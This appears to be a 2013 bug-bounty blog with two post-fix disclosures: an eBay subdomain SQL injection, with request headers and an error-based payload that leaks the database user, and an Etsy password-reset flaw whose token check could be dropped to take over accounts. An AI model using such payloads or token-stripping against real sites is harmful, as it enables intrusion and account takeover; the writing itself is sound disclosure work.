Friday, January 25, 2013

SQL Injection Vulnerability in ebay sub domains

Posted by Yogesh  
Tagged as:
10:13 AM

Title: SQL Injection Vulnerability in sub domains
Author: Yogesh D Jaygadkar
Reported: December 27, 2012
Fixed: Jan 15, 2013
Public Released: Jan 25, 2013
Thanks To: Darshit Ashara

Greets : Rahul Bro, Aasim, Sandeep, Sagar


Last Month I reported SQL Injection vulnerabilities in sub domains. You can see how many days they took for patching & allowing me to publish the vulnerability. But finally they fixed it & listed me in their Researchers Acknowledgement Page.Like every other bounty hunter I was also searching for some vulnerability in EBAY.That time I have no idea that Ebay don’t give bounty for any vulnerability. Not even for SQL Injection. :)


Vulnerable Parameter:checkbox” Array POST parameter.

Search option in above pages provides a “Select Site” checkboxes which filters the search result by different countries.

HTTP Headers:

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: Cookie Value
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

POST Contents: checkbox%5B%5D=(select+1+and+row(1%2c1)>(select+count(*)%2cconcat(CONCAT(CHAR(68)%2C(SELECT+USER())%2CCHAR(65)%2CCHAR(86)%2CCHAR(73)%2CCHAR(68))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&

So this is all for submitting report. After that I simply used sqlmap the gr8 :)


Tuesday, January 8, 2013

Password Reset Vulnerability in

Posted by Yogesh  
Tagged as:
3:36 AM

TitlePassword Reset Vulnerability in
Vuln URL
Author: Yogesh D Jaygadkar
Reported: December 30, 2012
Fixed: December 30, 2012
Public ReleasedJan 08, 2013

In, when users reset their password, they receives password reset link which is as below.[User Email ID]&code=[Token code]&action=reset_password&utm_source=account&utm_medium=trans_email&utm_campaign=forgot_password_1

When I received this mail, I started playing with this link. I noticed that token is not getting validated from server side. So I removed it & tested with my own id. 

Final POC:[victim user's email ID]&action=reset_password&utm_source=account&utm_medium=trans_email&utm_campaign=forgot_password_1
And Password changed successfully.

Finally I am listed in ETSY Thanks Page. & rewarded with $1500 bounty & T-shirt
Thanks to etsy security team for quick reply. 

Thanks to my friends : Darshit, sandeep, rahul bro, aasim , sagar 


What they says

Proudly Powered by Blogger.
back to top